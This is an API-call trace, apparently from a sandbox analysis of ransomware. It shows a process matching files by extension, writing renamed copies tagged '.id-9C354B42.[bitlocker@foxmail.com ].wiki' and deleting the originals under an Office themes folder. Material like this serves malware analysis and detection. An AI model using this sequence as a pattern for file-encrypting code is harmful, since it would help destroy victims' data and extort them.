[0196.593] lstrlenW (lpString=".rar") returned 4 [0196.593] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0196.593] lstrlenW (lpString=".bz2") returned 4 [0196.593] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0196.594] lstrlenW (lpString=".7z") returned 3 [0196.594] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0196.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.594] lstrlenW (lpString=".dbf") returned 4 [0196.594] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0196.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.594] lstrlenW (lpString=".1cd") returned 4 [0196.594] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0196.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.594] lstrlenW (lpString=".jpg") returned 4 [0196.594] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0196.594] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0196.594] lstrlenW (lpString="AXIS.INF") returned 8 [0196.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0197.283] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=529) returned 1 [0197.283] CloseHandle (hObject=0x17c) returned 1 [0197.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0197.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0197.285] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.285] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0197.286] GetLastError () returned 0x0 [0197.286] ReadFile (in: hFile=0x17c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x211, lpOverlapped=0x0) returned 1 [0197.287] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x220, lpOverlapped=0x0) returned 1 [0197.288] ReadFile (in: hFile=0x17c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.288] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0197.288] SetEndOfFile (hFile=0x218) returned 1 [0197.288] CloseHandle (hObject=0x218) returned 1 [0197.288] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.288] SetEndOfFile (hFile=0x17c) returned 1 [0197.289] CloseHandle (hObject=0x17c) returned 1 [0197.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.289] lstrlenW (lpString=".doc") returned 4 [0197.289] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0197.289] lstrlenW (lpString=".docx") returned 5 [0197.289] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0197.289] lstrlenW (lpString=".pdf") returned 4 [0197.289] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0197.289] lstrlenW (lpString=".xls") returned 4 [0197.289] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0197.289] lstrlenW (lpString=".xlsx") returned 5 [0197.289] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0197.290] lstrlenW (lpString=".ppt") returned 4 [0197.290] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString=".zip") returned 4 [0197.290] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0197.290] lstrlenW (lpString=".rar") returned 4 [0197.290] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0197.290] lstrlenW (lpString=".bz2") returned 4 [0197.290] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0197.290] lstrlenW (lpString=".7z") returned 3 [0197.290] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString=".dbf") returned 4 [0197.290] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString=".1cd") returned 4 [0197.290] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString=".jpg") returned 4 [0197.290] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.290] lstrlenW (lpString=".doc") returned 4 [0197.290] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0197.290] lstrlenW (lpString=".docx") returned 5 [0197.290] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0197.290] lstrlenW (lpString=".pdf") returned 4 [0197.290] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0197.290] lstrlenW (lpString=".xls") returned 4 [0197.290] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0197.291] lstrlenW (lpString=".xlsx") returned 5 [0197.291] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0197.291] lstrlenW (lpString=".ppt") returned 4 [0197.291] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0197.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.291] lstrlenW (lpString=".zip") returned 4 [0197.291] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0197.291] lstrlenW (lpString=".rar") returned 4 [0197.291] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0197.291] lstrlenW (lpString=".bz2") returned 4 [0197.291] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0197.291] lstrlenW (lpString=".7z") returned 3 [0197.291] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0197.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.291] lstrlenW (lpString=".dbf") returned 4 [0197.291] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0197.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.291] lstrlenW (lpString=".1cd") returned 4 [0197.291] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0197.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0197.291] lstrlenW (lpString=".jpg") returned 4 [0197.291] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0197.291] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0197.291] lstrlenW (lpString="BLENDS.INF") returned 10 [0197.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.346] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=534) returned 1 [0198.346] CloseHandle (hObject=0x20c) returned 1 [0198.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0198.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.346] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.347] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.347] GetLastError () returned 0x0 [0198.347] ReadFile (in: hFile=0x20c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x216, lpOverlapped=0x0) returned 1 [0198.349] WriteFile (in: hFile=0x1d0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x220, lpOverlapped=0x0) returned 1 [0198.350] ReadFile (in: hFile=0x20c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.351] WriteFile (in: hFile=0x1d0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0198.351] SetEndOfFile (hFile=0x1d0) returned 1 [0198.351] CloseHandle (hObject=0x1d0) returned 1 [0198.351] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.351] SetEndOfFile (hFile=0x20c) returned 1 [0198.352] CloseHandle (hObject=0x20c) returned 1 [0198.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.352] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 1 [0198.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.352] lstrlenW (lpString=".doc") returned 4 [0198.352] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.352] lstrlenW (lpString=".docx") returned 5 [0198.352] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0198.352] lstrlenW (lpString=".pdf") returned 4 [0198.352] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.352] lstrlenW (lpString=".xls") returned 4 [0198.352] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.352] lstrlenW (lpString=".xlsx") returned 5 [0198.352] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0198.353] lstrlenW (lpString=".ppt") returned 4 [0198.353] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString=".zip") returned 4 [0198.353] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.353] lstrlenW (lpString=".rar") returned 4 [0198.353] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.353] lstrlenW (lpString=".bz2") returned 4 [0198.353] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.353] lstrlenW (lpString=".7z") returned 3 [0198.353] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString=".dbf") returned 4 [0198.353] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString=".1cd") returned 4 [0198.353] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString=".jpg") returned 4 [0198.353] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.353] lstrlenW (lpString=".doc") returned 4 [0198.353] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.353] lstrlenW (lpString=".docx") returned 5 [0198.353] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0198.353] lstrlenW (lpString=".pdf") returned 4 [0198.353] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.353] lstrlenW (lpString=".xls") returned 4 [0198.354] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.354] lstrlenW (lpString=".xlsx") returned 5 [0198.354] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0198.354] lstrlenW (lpString=".ppt") returned 4 [0198.354] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.354] lstrlenW (lpString=".zip") returned 4 [0198.354] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.354] lstrlenW (lpString=".rar") returned 4 [0198.354] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.354] lstrlenW (lpString=".bz2") returned 4 [0198.354] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.354] lstrlenW (lpString=".7z") returned 3 [0198.354] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.354] lstrlenW (lpString=".dbf") returned 4 [0198.354] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.354] lstrlenW (lpString=".1cd") returned 4 [0198.354] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0198.354] lstrlenW (lpString=".jpg") returned 4 [0198.354] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.354] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0198.354] lstrlenW (lpString="BLUEPRNT.INF") returned 12 [0198.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.749] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=549) returned 1 [0198.749] CloseHandle (hObject=0x1fc) returned 1 [0198.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0198.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.750] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.750] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.750] GetLastError () returned 0x0 [0198.751] ReadFile (in: hFile=0x1fc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x225, lpOverlapped=0x0) returned 1 [0198.751] WriteFile (in: hFile=0x1d0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x230, lpOverlapped=0x0) returned 1 [0198.752] ReadFile (in: hFile=0x1fc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.752] WriteFile (in: hFile=0x1d0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.752] SetEndOfFile (hFile=0x1d0) returned 1 [0198.752] CloseHandle (hObject=0x1d0) returned 1 [0198.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.753] SetEndOfFile (hFile=0x1fc) returned 1 [0198.753] CloseHandle (hObject=0x1fc) returned 1 [0198.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 1 [0198.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.754] lstrlenW (lpString=".doc") returned 4 [0198.754] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.754] lstrlenW (lpString=".docx") returned 5 [0198.754] lstrcmpiW (lpString1=".docx", lpString2="T.INF") returned -1 [0198.754] lstrlenW (lpString=".pdf") returned 4 [0198.754] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.754] lstrlenW (lpString=".xls") returned 4 [0198.754] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.754] lstrlenW (lpString=".xlsx") returned 5 [0198.754] lstrcmpiW (lpString1=".xlsx", lpString2="T.INF") returned -1 [0198.754] lstrlenW (lpString=".ppt") returned 4 [0198.754] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.754] lstrlenW (lpString=".zip") returned 4 [0198.754] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.754] lstrlenW (lpString=".rar") returned 4 [0198.754] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.754] lstrlenW (lpString=".bz2") returned 4 [0198.754] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.754] lstrlenW (lpString=".7z") returned 3 [0198.754] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.754] lstrlenW (lpString=".dbf") returned 4 [0198.755] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.755] lstrlenW (lpString=".1cd") returned 4 [0198.755] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.755] lstrlenW (lpString=".jpg") returned 4 [0198.755] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.755] lstrlenW (lpString=".doc") returned 4 [0198.755] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.755] lstrlenW (lpString=".docx") returned 5 [0198.755] lstrcmpiW (lpString1=".docx", lpString2="T.INF") returned -1 [0198.755] lstrlenW (lpString=".pdf") returned 4 [0198.755] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString=".xls") returned 4 [0198.755] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString=".xlsx") returned 5 [0198.755] lstrcmpiW (lpString1=".xlsx", lpString2="T.INF") returned -1 [0198.755] lstrlenW (lpString=".ppt") returned 4 [0198.755] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0198.755] lstrlenW (lpString=".zip") returned 4 [0198.755] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString=".rar") returned 4 [0198.755] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.755] lstrlenW (lpString=".bz2") returned 4 [0198.755] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.755] lstrlenW (lpString=".7z") returned 